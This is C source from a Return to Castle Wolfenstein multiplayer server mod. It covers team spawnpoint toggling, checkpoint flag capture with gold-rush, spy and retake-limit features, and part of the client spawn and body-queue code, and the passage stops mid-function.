// AGENT- MP_TRAM FIX (1.4 code dump ;)
//===============
void Use_Team_InitialSpawnpoint( gentity_t *ent, gentity_t *other, gentity_t *activator ) {
if( ent->spawnflags & 4 ) {
ent->spawnflags &= ~4;
}
else {
ent->spawnflags |= 4;
}
}
void Use_Team_Spawnpoint( gentity_t *ent, gentity_t *other, gentity_t *activator ) {
if( ent->spawnflags & 2 ) {
ent->spawnflags &= ~2;
}
else {
ent->spawnflags |= 2;
}
}
/*QUAKED team_CTF_redplayer (1 0 0) (-16 -16 -16) (16 16 32) invulnerable unused startdisabled
Only in CTF games. Red players spawn here at game start.
*/
void SP_team_CTF_redplayer( gentity_t *ent ) {
ent->use = Use_Team_InitialSpawnpoint;
}
/*QUAKED team_CTF_blueplayer (0 0 1) (-16 -16 -16) (16 16 32) invulnerable unused startdisabled
Only in CTF games. Blue players spawn here at game start.
*/
void SP_team_CTF_blueplayer( gentity_t *ent ) {
ent->use = Use_Team_InitialSpawnpoint;
}
// JPW NERVE edited quaked def
/*QUAKED team_CTF_redspawn (1 0 0) (-16 -16 -24) (16 16 32) invulnerable startactive
potential spawning position for axis team in wolfdm games.
TODO: SelectRandomTeamSpawnPoint() will choose team_CTF_redspawn point that:
1) has been activated (FL_SPAWNPOINT_ACTIVE)
2) isn't occupied and
3) is closest to team_WOLF_objective
This allows spawnpoints to advance across the battlefield as new ones are
placed and/or activated.
If target is set, point spawnpoint toward target activation
*/
void SP_team_CTF_redspawn(gentity_t *ent) {
// JPW NERVE
vec3_t dir;
ent->enemy = G_PickTarget( ent->target );
if(ent->enemy)
{
VectorSubtract( ent->enemy->s.origin, ent->s.origin, dir );
vectoangles( dir, ent->s.angles );
}
//Agent - MP_Tram fix - 2006??
ent->use = Use_Team_Spawnpoint;
// jpw
}
// JPW NERVE edited quaked def
/*QUAKED team_CTF_bluespawn (0 0 1) (-16 -16 -24) (16 16 32) invulnerable startactive
potential spawning position for allied team in wolfdm games.
TODO: SelectRandomTeamSpawnPoint() will choose team_CTF_bluespawn point that:
1) has been activated (active)
2) isn't occupied and
3) is closest to selected team_WOLF_objective
This allows spawnpoints to advance across the battlefield as new ones are
placed and/or activated.
If target is set, point spawnpoint toward target activation
*/
void SP_team_CTF_bluespawn(gentity_t *ent) {
// JPW NERVE
vec3_t dir;
ent->enemy = G_PickTarget( ent->target );
if(ent->enemy)
{
VectorSubtract( ent->enemy->s.origin, ent->s.origin, dir );
vectoangles( dir, ent->s.angles );
}
//Agent - MP_Tram fix
ent->use = Use_Team_Spawnpoint;
// jpw
}
// JPW NERVE
/*QUAKED team_WOLF_objective (1 1 0.3) (-16 -16 -24) (16 16 32)
marker for objective
This marker will be used for computing effective radius for
dynamite damage, as well as generating a list of objectives
that players can elect to spawn near to in the limbo spawn
screen.
key "description" is short text key for objective name that
will appear in objective selection in limbo UI.
*/
static int numobjectives = 0; // TTimo
void objective_Register(gentity_t *self) {
char numspawntargets[128];
int cs_obj = CS_MULTI_SPAWNTARGETS;
char cs[MAX_STRING_CHARS];
if (numobjectives == MAX_MULTI_SPAWNTARGETS)
G_Error("SP_team_WOLF_objective: exceeded MAX_MULTI_SPAWNTARGETS (%d)\n",MAX_MULTI_SPAWNTARGETS);
else { // Set config strings
cs_obj += numobjectives;
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
Info_SetValueForKey( cs, "spawn_targ", self->message );
trap_SetConfigstring( cs_obj, cs );
VectorCopy(self->s.origin, level.spawntargets[numobjectives]);
}
numobjectives++;
// set current # spawntargets
level.numspawntargets = numobjectives;
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
sprintf(numspawntargets,"%d",numobjectives);
Info_SetValueForKey( cs, "numspawntargets", numspawntargets );
trap_SetConfigstring( CS_MULTI_INFO, cs );
}
void SP_team_WOLF_objective(gentity_t *ent) {
char *desc;
G_SpawnString( "description", "WARNING: No objective description set", &desc );
ent->message = G_Alloc( strlen(desc)+1 );
Q_strncpyz( ent->message, desc, strlen(desc)+1 );
// DHM - Nerve :: Give the script time to remove this ent if necessary
ent->nextthink = level.time + 150;
ent->think = objective_Register;
}
// jpw
// DHM - Nerve :: Capture and Hold Checkpoint flag
#define SPAWNPOINT 1
#define CP_HOLD 2
#define AXIS_ONLY 4
#define ALLIED_ONLY 8
void checkpoint_touch (gentity_t *self, gentity_t *other, trace_t *trace);
void checkpoint_use_think( gentity_t *self ) {
self->count2 = -1;
if ( self->count == TEAM_RED ) {
self->health = 0;
}
else {
self->health = 10;
}
}
void checkpoint_use ( gentity_t *ent, gentity_t *other, gentity_t *activator ) {
int holderteam;
int time;
if ( !activator->client )
return;
if ( ent->count < 0 )
checkpoint_touch( ent, activator, NULL );
holderteam = activator->client->sess.sessionTeam;
if ( ent->count == holderteam )
return;
if ( ent->count2 == level.time ) {
if ( holderteam == TEAM_RED ) {
time = ent->health / 2;
time++;
trap_SendServerCommand(activator-g_entities, va("cp \"Flag will be held in %i seconds!\n\"", time));
}
else {
time = (10 - ent->health) / 2;
time++;
trap_SendServerCommand(activator-g_entities, va("cp \"Flag will be held in %i seconds!\n\"", time));
}
return;
}
if ( holderteam == TEAM_RED ) {
ent->health--;
if ( ent->health < 0 ) {
checkpoint_touch( ent, activator, NULL );
return;
}
time = ent->health / 2;
time++;
trap_SendServerCommand(activator-g_entities, va("cp \"Flag will be held in %i seconds!\n\"", time));
}
else {
ent->health++;
if ( ent->health > 10 ) {
checkpoint_touch( ent, activator, NULL );
return;
}
time = (10 - ent->health) / 2;
time++;
trap_SendServerCommand(activator-g_entities, va("cp \"Flag will be held in %i seconds!\n\"", time));
}
ent->count2 = level.time;
ent->think = checkpoint_use_think;
ent->nextthink = level.time + 2000;
}
void checkpoint_spawntouch (gentity_t *self, gentity_t *other, trace_t *trace); // JPW NERVE
// JPW NERVE
void checkpoint_hold_think (gentity_t *self) {
switch (self->s.frame) {
case WCP_ANIM_RAISE_AXIS:
case WCP_ANIM_AXIS_RAISED:
level.capturetimes[TEAM_RED]++;
break;
case WCP_ANIM_RAISE_AMERICAN:
case WCP_ANIM_AMERICAN_RAISED:
level.capturetimes[TEAM_BLUE]++;
break;
default:
break;
}
self->nextthink = level.time + 5000;
}
// jpw
void checkpoint_think (gentity_t *self) {
if(g_goldrush.integer)
return;
switch ( self->s.frame ) {
case WCP_ANIM_NOFLAG:
break;
case WCP_ANIM_RAISE_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_RAISE_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AXIS_RAISED:
break;
case WCP_ANIM_AMERICAN_RAISED:
break;
case WCP_ANIM_AXIS_TO_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AMERICAN_TO_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_AXIS_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
case WCP_ANIM_AMERICAN_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
default:
break;
}
// JPW NERVE
if (self->spawnflags & SPAWNPOINT)
self->touch = checkpoint_spawntouch;
else if ( !(self->spawnflags & CP_HOLD) )
self->touch = checkpoint_touch;
if ( (g_gametype.integer == GT_WOLF_CPH) && (!(self->spawnflags & SPAWNPOINT)) ) {
self->think = checkpoint_hold_think;
self->nextthink = level.time + 5000;
}
else
self->nextthink = 0;
// jpw
}
void checkpoint_touch (gentity_t *self, gentity_t *other, trace_t *trace) {
int goldPoints;
if (g_goldrush.integer){
goldPoints = (other->client->pers.gold-1)*(other->client->pers.gold-1);
if (other->client->pers.gold-1 > 0){
//Noticed if you got shot into a pole in instagib you
//got points and drop gold so lets check their health
if(other->client->ps.stats[STAT_HEALTH] > 0){
if (other->client->sess.sessionTeam == TEAM_RED){
trap_SendServerCommand(-1, va("print \"%s ^3scored ^5%i ^3points for the Axis!\n\"",other->client->pers.netname, goldPoints));
AddScore(other,goldPoints);
other->client->pers.gold = 1;
}else{
trap_SendServerCommand(-1, va("print \"%s ^3scored ^5%i ^3points for the Allies!\n\"", other->client->pers.netname, goldPoints));
AddScore(other,goldPoints);
other->client->pers.gold = 1;
}
}
}
//do this so the flag wont go up
return;
}
if ( self->count == other->client->sess.sessionTeam )
return;
//S4NDM4NN-spy
if(g_allowSpys.integer){
if(other->client->ps.isSpy){
if((other->client->sess.sessionTeam == TEAM_RED && self->count == TEAM_BLUE)||
(other->client->sess.sessionTeam == TEAM_BLUE && self->count == TEAM_RED)){
other->client->ps.isSpy = qfalse;
other->client->ps.weaponTime = 500;
trap_SendServerCommand( other-g_entities, "cp \"^3You have lost your disguise!\"");
ClientUserinfoChanged( other->client->ps.clientNum );
}
}
}
// JPW NERVE
if (self->s.frame == WCP_ANIM_NOFLAG)
AddScore(other, WOLF_CP_CAPTURE);
else
AddScore(other, WOLF_CP_RECOVER);
// jpw
// Set controlling team
self->count = other->client->sess.sessionTeam;
// Set animation
if ( self->count == TEAM_RED ) {
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AXIS;
else if ( self->s.frame == WCP_ANIM_AMERICAN_RAISED )
self->s.frame = WCP_ANIM_AMERICAN_TO_AXIS;
else
self->s.frame = WCP_ANIM_AXIS_RAISED;
} else {
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AMERICAN;
else if ( self->s.frame == WCP_ANIM_AXIS_RAISED )
self->s.frame = WCP_ANIM_AXIS_TO_AMERICAN;
else
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
}
// Run script trigger
if ( self->count == TEAM_RED ) {
self->health = 0;
G_Script_ScriptEvent( self, "trigger", "axis_capture" );
}
else {
self->health = 10;
G_Script_ScriptEvent( self, "trigger", "allied_capture" );
}
// Play a sound
G_AddEvent( self, EV_GENERAL_SOUND, self->soundPos1 );
// Don't allow touch again until animation is finished
self->touch = NULL;
self->think = checkpoint_think;
self->nextthink = level.time + 1000;
}
// JPW NERVE -- if spawn flag is set, use this touch fn instead to turn on/off targeted spawnpoints
//=============================BEGIN NO RETAKE=====================================
void checkpoint_spawntouch (gentity_t *self, gentity_t *other, trace_t *trace) {
gentity_t *ent = NULL;
gentity_t *te;
gentity_t *ent2;
int i;
char mapName[MAX_QPATH];
char index[MAX_OSPATH];
#ifdef OMNIBOT
char *flagAction;
#endif
qboolean playsound = qtrue;
qboolean firsttime = qfalse;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if ( self->count == other->client->sess.sessionTeam )
return;
// Cant get flag if your dead...old exploit
if(other->health <= 0)
return;
if (self->s.frame == WCP_ANIM_NOFLAG){
AddScore(other, WOLF_SP_CAPTURE);
}else{ // no flagretaking
if ((g_RetakeLimit.integer == 0) /*&& !(canRetake()))Commented out till we get this working*/){ // Per-map retake settings
trap_SendServerCommand(other->client->ps.clientNum, va("cp \"Flag Reclaim is ^1Disabled!\n\"1"));
return;
}else if ((self->TimesReclaimed >= g_RetakeLimit.integer) && (g_RetakeLimit.integer > 0 ) /*&& !(canRetake())Commented out till we get this working*/){
trap_SendServerCommand(other->client->ps.clientNum, va("cp \"Reclaim limit %d has been reached.\n\"1", g_RetakeLimit.integer));
return;
}else{
AddScore(other, WOLF_SP_RECOVER);
self->TimesReclaimed++;
}
}
// AddScore(other, WOLF_SP_RECOVER);
// jpw
// -Agent
// JPW NERVE
// jpw
if ( self->count < 0 )
firsttime = qtrue;
//S4NDM4NN-spy
//agent, added sanity check so if spys arnt even on it doenst call userinfochanged.
// also if they arnt even a spy dont.
// Prevents people holding down nades from not being able to throw them :/
if(g_allowSpys.integer){
if (other->client->ps.isSpy == qtrue){
if(self->count != other->client->sess.sessionTeam){
other->client->ps.weaponTime = 500;
other->client->ps.isSpy = qfalse;
trap_SendServerCommand( other-g_entities, "cp \"^3You have lost your disguise!\"");
ClientUserinfoChanged( other->client->ps.clientNum );
}
}
}
// Set controlling team
self->count = other->client->sess.sessionTeam;
//Depot Firsttime
if (!Q_stricmp(mapName, "mp_depot") && firsttime){
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
ent2 = &g_entities[i];
if(self->count == TEAM_BLUE){
if(ent2->client->sess.sessionTeam == TEAM_BLUE)
Q_strncpyz(index, "sound/player/allies_depotcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/axis_depotlost.wav", sizeof(index));
}else{
if(ent2->client->sess.sessionTeam == TEAM_RED)
Q_strncpyz(index, "sound/player/axis_depotcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/allies_depotlost.wav", sizeof(index));
}
te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = ent2->s.clientNum;
}
}
#ifdef OMNIBOT
//get rid of a compiler warning
flagAction = "touched";
#endif
// Set animation
//ON AXIS----------------
if ( self->count == TEAM_RED ) {
if ( self->s.frame == WCP_ANIM_NOFLAG && !(self->spawnflags & ALLIED_ONLY) ){
self->s.frame = WCP_ANIM_RAISE_AXIS;
#ifdef OMNIBOT
flagAction = "capture";
#endif
}else if ( self->s.frame == WCP_ANIM_NOFLAG ) {
self->s.frame = WCP_ANIM_NOFLAG;
playsound = qfalse;
}else if ( self->s.frame == WCP_ANIM_AMERICAN_RAISED && !(self->spawnflags & ALLIED_ONLY) ){
self->s.frame = WCP_ANIM_AMERICAN_TO_AXIS;
#ifdef OMNIBOT
flagAction = "reclaims";
#endif
if (!Q_stricmp(mapName, "mp_depot")){
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
ent2 = &g_entities[i];
if(ent2->client->sess.sessionTeam == TEAM_RED)
Q_strncpyz(index, "sound/player/axis_depotcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/allies_depotlost.wav", sizeof(index));
te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = ent2->s.clientNum;
}
}
}else if ( self->s.frame == WCP_ANIM_AMERICAN_RAISED ){
if (Q_stricmp(mapName, "mp_depot")){
if (Q_stricmp(mapName, "mp_trenchtoast")){
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
ent2 = &g_entities[i];
if(ent2->client->sess.sessionTeam == TEAM_RED)
Q_strncpyz(index, "sound/player/axis_fbcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/allies_fblost.wav", sizeof(index));
te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = ent2->s.clientNum;
}
}
}
self->s.frame = WCP_ANIM_AMERICAN_FALLING;
#ifdef OMNIBOT
flagAction = "neutralized";
#endif
}
else
self->s.frame = WCP_ANIM_AXIS_RAISED;
//ON ALLIES---------------
} else {
if ( self->s.frame == WCP_ANIM_NOFLAG && !(self->spawnflags & AXIS_ONLY) ){
if (Q_stricmp(mapName, "mp_depot")){
if (Q_stricmp(mapName, "mp_trenchtoast")){
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
ent2 = &g_entities[i];
if(ent2->client->sess.sessionTeam == TEAM_BLUE)
Q_strncpyz(index, "sound/player/allies_fbcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/axis_fblost.wav", sizeof(index));
te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = ent2->s.clientNum;
}
}
}
self->s.frame = WCP_ANIM_RAISE_AMERICAN;
#ifdef OMNIBOT
flagAction = "capture";
#endif
}else if ( self->s.frame == WCP_ANIM_NOFLAG ) {
self->s.frame = WCP_ANIM_NOFLAG;
playsound = qfalse;
}else if ( self->s.frame == WCP_ANIM_AXIS_RAISED && !(self->spawnflags & AXIS_ONLY) ){
self->s.frame = WCP_ANIM_AXIS_TO_AMERICAN;
#ifdef OMNIBOT
flagAction = "reclaims";
#endif
if (!Q_stricmp(mapName, "mp_depot")){
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
ent2 = &g_entities[i];
if(ent2->client->sess.sessionTeam == TEAM_BLUE)
Q_strncpyz(index, "sound/player/allies_depotcapt.wav", sizeof(index));
else
Q_strncpyz(index, "sound/player/axis_depotlost.wav", sizeof(index));
te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = ent2->s.clientNum;
}
}
// G_AddEvent (self, EV_GLOBAL_SOUND, G_SoundIndex("sound/player/allies_depotcapt.wav"));//Allies on depot-doesnt work 1st time though
}else if ( self->s.frame == WCP_ANIM_AXIS_RAISED ){
self->s.frame = WCP_ANIM_AXIS_FALLING;
#ifdef OMNIBOT
flagAction = "neutralized";
#endif
}
else
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
}
// If this is the first time it's being touched, and it was the opposing team
// touching a single-team reinforcement flag... don't do anything.
if ( firsttime && !playsound )
return;
// Play a sound
if ( playsound )
G_AddEvent( self, EV_GENERAL_SOUND, self->soundPos1 );
// Run script trigger
if ( self->count == TEAM_RED ){
G_Script_ScriptEvent( self, "trigger", "axis_capture" );
#ifdef OMNIBOT
Bot_Util_SendTrigger(self, NULL, va("axis_%s_%s", flagAction, _GetEntityName(self)), flagAction);
#endif
}
else{
G_Script_ScriptEvent( self, "trigger", "allied_capture" );
#ifdef OMNIBOT
Bot_Util_SendTrigger(self, NULL, va("allies_%s_%s", flagAction, _GetEntityName(self)), flagAction);
#endif
}
// Don't allow touch again until animation is finished
self->touch = NULL;
self->think = checkpoint_think;
self->nextthink = level.time + 1000;
// activate all targets
if (self->target) {
while(1) {
ent = G_Find (ent, FOFS(targetname), self->target);
if (!ent)
break;
if (other->client->sess.sessionTeam == TEAM_RED) {
if (!strcmp(ent->classname,"team_CTF_redspawn")) {
ent->spawnflags |= 2;
}
else {
ent->spawnflags &= ~2;
}
}
else {
if (!strcmp(ent->classname,"team_CTF_bluespawn")) {
ent->spawnflags |= 2;
}
else {
ent->spawnflags &= ~2;
}
}
}
}
}
//====================END NO RETAKE====================
// jpw
/*QUAKED team_WOLF_checkpoint (.9 .3 .9) (-16 -16 0) (16 16 128) SPAWNPOINT CP_HOLD AXIS_ONLY ALLIED_ONLY
This is the flagpole players touch in Capture and Hold game scenarios.
It will call specific trigger funtions in the map script for this object.
When allies capture, it will call "allied_capture".
When axis capture, it will call "axis_capture".
// JPW NERVE if spawnpoint flag is set, think will turn on spawnpoints (specified as targets)
// for capture team and turn *off* targeted spawnpoints for opposing team
*/
void SP_team_WOLF_checkpoint (gentity_t *ent)
{
char *capture_sound;
if (!ent->scriptName)
G_Error("team_WOLF_checkpoint must have a \"scriptname\"\n" );
// Make sure the ET_TRAP entity type stays valid
ent->s.eType = ET_TRAP;
// Model is user assignable, but it will always try and use the animations for flagpole.md3
if ( ent->model )
ent->s.modelindex = G_ModelIndex ( ent->model );
else
ent->s.modelindex = G_ModelIndex ( "models/multiplayer/flagpole/flagpole.md3" );
G_SpawnString( "noise", "sound/movers/doors/door6_open.wav", &capture_sound );
ent->soundPos1 = G_SoundIndex ( capture_sound );
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 8, 8, 128);
G_SetOrigin( ent, ent->s.origin );
G_SetAngle (ent, ent->s.angles);
// s.frame is the animation number
ent->s.frame = WCP_ANIM_NOFLAG;
// s.teamNum is which set of animations to use ( only 1 right now )
ent->s.teamNum = 1;
// Used later to set animations (and delay between captures)
ent->nextthink = 0;
// Used to time how long it must be "held" to switch
ent->health = -1;
ent->count2 = -1;
// 'count' signifies which team holds the checkpoint
ent->count = -1;
// JPW NERVE
if (ent->spawnflags & SPAWNPOINT)
ent->touch = checkpoint_spawntouch;
else {
if ( ent->spawnflags & CP_HOLD )
ent->use = checkpoint_use;
else
ent->touch = checkpoint_touch;
}
// jpw
trap_LinkEntity (ent);
}
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
// g_client.c -- client functions that don't happen every frame
// Ridah, new bounding box
//static vec3_t playerMins = {-15, -15, -24};
//static vec3_t playerMaxs = {15, 15, 32};
vec3_t playerMins = {-18, -18, -24};
vec3_t playerMaxs = {18, 18, 48};
// done.
/*QUAKED info_player_deathmatch (1 0 1) (-16 -16 -24) (16 16 32) initial
potential spawning position for deathmatch games.
The first time a player enters the game, they will be at an 'initial' spot.
Targets will be fired when someone spawns in on them.
"nobots" will prevent bots from using this spot.
"nohumans" will prevent non-bots from using this spot.
If the start position is targeting an entity, the players camera will start out facing that ent (like an info_notnull)
*/
void SP_info_player_deathmatch( gentity_t *ent ) {
int i;
vec3_t dir;
G_SpawnInt( "nobots", "0", &i);
if ( i ) {
ent->flags |= FL_NO_BOTS;
}
G_SpawnInt( "nohumans", "0", &i );
if ( i ) {
ent->flags |= FL_NO_HUMANS;
}
ent->enemy = G_PickTarget( ent->target );
if(ent->enemy)
{
VectorSubtract( ent->enemy->s.origin, ent->s.origin, dir );
vectoangles( dir, ent->s.angles );
}
}
//----(SA) added
/*QUAKED info_player_checkpoint (1 0 0) (-16 -16 -24) (16 16 32) a b c d
these are start points /after/ the level start
the letter (a b c d) designates the checkpoint that needs to be complete in order to use this start position
*/
void SP_info_player_checkpoint(gentity_t *ent) {
ent->classname = "info_player_checkpoint";
SP_info_player_deathmatch( ent );
}
//----(SA) end
/*QUAKED info_player_start (1 0 0) (-16 -16 -24) (16 16 32)
equivelant to info_player_deathmatch
*/
void SP_info_player_start(gentity_t *ent) {
ent->classname = "info_player_deathmatch";
SP_info_player_deathmatch( ent );
}
/*QUAKED info_player_intermission (1 0 1) (-16 -16 -24) (16 16 32) AXIS ALLIED
The intermission will be viewed from this point. Target an info_notnull for the view direction.
*/
void SP_info_player_intermission( gentity_t *ent ) {
}
/*
=======================================================================
SelectSpawnPoint
=======================================================================
*/
/*
================
SpotWouldTelefrag
================
*/
qboolean SpotWouldTelefrag( gentity_t *spot ) {
int i, num;
int touch[MAX_GENTITIES];
gentity_t *hit;
vec3_t mins, maxs;
VectorAdd( spot->s.origin, playerMins, mins );
VectorAdd( spot->s.origin, playerMaxs, maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );
for (i=0 ; i<num ; i++) {
hit = &g_entities[touch[i]];
if ( hit->client && hit->client->ps.stats[STAT_HEALTH] > 0 ) {
return qtrue;
}
}
return qfalse;
}
/*
================
SelectNearestDeathmatchSpawnPoint
Find the spot that we DON'T want to use
================
*/
#define MAX_SPAWN_POINTS 128
gentity_t *SelectNearestDeathmatchSpawnPoint( vec3_t from ) {
gentity_t *spot;
vec3_t delta;
float dist, nearestDist;
gentity_t *nearestSpot;
nearestDist = 999999;
nearestSpot = NULL;
spot = NULL;
while ((spot = G_Find (spot, FOFS(classname), "info_player_deathmatch")) != NULL) {
VectorSubtract( spot->s.origin, from, delta );
dist = VectorLength( delta );
if ( dist < nearestDist ) {
nearestDist = dist;
nearestSpot = spot;
}
}
return nearestSpot;
}
/*
================
SelectRandomDeathmatchSpawnPoint
go to a random point that doesn't telefrag
================
*/
#define MAX_SPAWN_POINTS 128
gentity_t *SelectRandomDeathmatchSpawnPoint( void ) {
gentity_t *spot;
int count;
int selection;
gentity_t *spots[MAX_SPAWN_POINTS];
count = 0;
spot = NULL;
while ((spot = G_Find (spot, FOFS(classname), "info_player_deathmatch")) != NULL) {
if ( SpotWouldTelefrag( spot ) ) {
continue;
}
spots[ count ] = spot;
count++;
}
if ( !count ) { // no spots that won't telefrag
return G_Find( NULL, FOFS(classname), "info_player_deathmatch");
}
selection = rand() % count;
return spots[ selection ];
}
/*
===========
SelectSpawnPoint
Chooses a player start, deathmatch start, etc
============
*/
gentity_t *SelectSpawnPoint ( vec3_t avoidPoint, vec3_t origin, vec3_t angles ) {
gentity_t *spot;
gentity_t *nearestSpot;
nearestSpot = SelectNearestDeathmatchSpawnPoint( avoidPoint );
spot = SelectRandomDeathmatchSpawnPoint ( );
if ( spot == nearestSpot ) {
// roll again if it would be real close to point of death
spot = SelectRandomDeathmatchSpawnPoint ( );
if ( spot == nearestSpot ) {
// last try
spot = SelectRandomDeathmatchSpawnPoint ( );
}
}
// find a single player start spot
if (!spot) {
G_Error( "Couldn't find a spawn point" );
}
VectorCopy (spot->s.origin, origin);
origin[2] += 9;
VectorCopy (spot->s.angles, angles);
return spot;
}
/*
===========
SelectInitialSpawnPoint
Try to find a spawn point marked 'initial', otherwise
use normal spawn selection.
============
*/
gentity_t *SelectInitialSpawnPoint( vec3_t origin, vec3_t angles ) {
gentity_t *spot;
spot = NULL;
while ((spot = G_Find (spot, FOFS(classname), "info_player_deathmatch")) != NULL) {
if ( spot->spawnflags & 1 ) {
break;
}
}
if ( !spot || SpotWouldTelefrag( spot ) ) {
return SelectSpawnPoint( vec3_origin, origin, angles );
}
VectorCopy (spot->s.origin, origin);
origin[2] += 9;
VectorCopy (spot->s.angles, angles);
return spot;
}
/*
===========
SelectSpectatorSpawnPoint
============
*/
gentity_t *SelectSpectatorSpawnPoint( vec3_t origin, vec3_t angles ) {
FindIntermissionPoint();
VectorCopy( level.intermission_origin, origin );
VectorCopy( level.intermission_angle, angles );
return NULL;
}
/*
=======================================================================
BODYQUE
=======================================================================
*/
/*
===============
InitBodyQue
===============
*/
void InitBodyQue (void) {
int i;
gentity_t *ent;
level.bodyQueIndex = 0;
for (i=0; i<BODY_QUEUE_SIZE ; i++) {
ent = G_Spawn();
ent->classname = "bodyque";
ent->neverFree = qtrue;
level.bodyQue[i] = ent;
}
}
/*
=============
BodySink
After sitting around for five seconds, fall into the ground and dissapear
=============
*/
void BodySink( gentity_t *ent ) {
if ( level.time - ent->timestamp > 6500 ) {
//6500 was previous
// the body ques are never actually freed, they are just unlinked
trap_UnlinkEntity( ent );
ent->physicsObject = qfalse;
return;
}
ent->nextthink = level.time + 100;
ent->s.pos.trBase[2] -= 1;
}
/*
=============
CopyToBodyQue
A player is respawning, so make an entity that looks
just like the existing corpse to leave behind.
=============
*/
void CopyToBodyQue( gentity_t *ent ) {
gentity_t *body;
int contents, i;
trap_UnlinkEntity (ent);
// if client is in a nodrop area, don't leave the body
contents = trap_PointContents( ent->s.origin, -1 );
if ( contents & CONTENTS_NODROP ) {
return;
}
// grab a body que and cycle to the next one
body = level.bodyQue[ level.bodyQueIndex ];
level.bodyQueIndex = (level.bodyQueIndex + 1) % BODY_QUEUE_SIZE;
//crapshoot: this can really be commented out ...
#ifndef OMNIBOT
trap_UnlinkEntity (body);
#endif
body->s = ent->s;
body->s.eFlags = EF_DEAD; // clear EF_TALK, etc
if(ent->client->ps.eFlags & EF_HEADSHOT )
body->s.eFlags |= EF_HEADSHOT; // make sure the dead body draws no head (if killed that way)
body->s.powerups = 0; // clear powerups
body->s.loopSound = 0; // clear lava burning
body->s.number = body - g_entities;
body->timestamp = level.time;
body->physicsObject = qtrue;
body->physicsBounce = 0; // don't bounce
if ( body->s.groundEntityNum == ENTITYNUM_NONE ) {
body->s.pos.trType = TR_GRAVITY;
body->s.pos.trTime = level.time;
VectorCopy( ent->client->ps.velocity, body->s.pos.trDelta );
} else {
body->s.pos.trType = TR_STATIONARY;
}
body->s.event = 0;
// DHM - Clear out event system
for( i=0; i<MAX_EVENTS; i++ )
body->s.events[i] = 0;
body->s.eventSequence = 0;
// DHM - Nerve
if ( g_gametype.integer != GT_SINGLE_PLAYER )
{
// change the animation to the last-frame only, so the sequence
// doesn't repeat anew for the body
switch ( body->s.legsAnim & ~ANIM_TOGGLEBIT ) {
case BOTH_DEATH1:
case BOTH_DEAD1:
body->s.torsoAnim = body->s.legsAnim = BOTH_DEAD1;
break;
case BOTH_DEATH2:
case BOTH_DEAD2:
body->s.torsoAnim = body->s.legsAnim = BOTH_DEAD2;
break;
case BOTH_DEATH3:
case BOTH_DEAD3:
default:
body->s.torsoAnim = body->s.legsAnim = BOTH_DEAD3;
break;
}
}
// dhm
#ifndef OMNIBOT
body->r.svFlags = ent->r.svFlags;
#else
body->r.svFlags = ent->r.svFlags & ~SVF_BOT;
#endif //OMNIBOT
VectorCopy (ent->r.mins, body->r.mins);
VectorCopy (ent->r.maxs, body->r.maxs);
VectorCopy (ent->r.absmin, body->r.absmin);
VectorCopy (ent->r.absmax, body->r.absmax);
body->clipmask = CONTENTS_SOLID | CONTENTS_PLAYERCLIP;
// DHM - Nerve :: allow bullets to pass through bbox
body->r.contents = 0;
body->r.ownerNum = ent->r.ownerNum;
body->nextthink = level.time + 5000; //Body sink time
body->think = BodySink;
body->die = body_die;
// don't take more damage if already gibbed
if ( ent->health <= GIB_HEALTH ) {
body->takedamage = qfalse;
} else {
body->takedamage = qtrue;
}
VectorCopy ( body->s.pos.trBase, body->r.currentOrigin );
trap_LinkEntity (body);
}
//======================================================================
/*
==================
SetClientViewAngle
==================
*/
void SetClientViewAngle( gentity_t *ent, vec3_t angle ) {
int i;
// set the delta angle
for (i=0 ; i<3 ; i++) {
int cmdAngle;
cmdAngle = ANGLE2SHORT(angle[i]);
ent->client->ps.delta_angles[i] = cmdAngle - ent->client->pers.cmd.angles[i];
}
VectorCopy( angle, ent->s.angles );
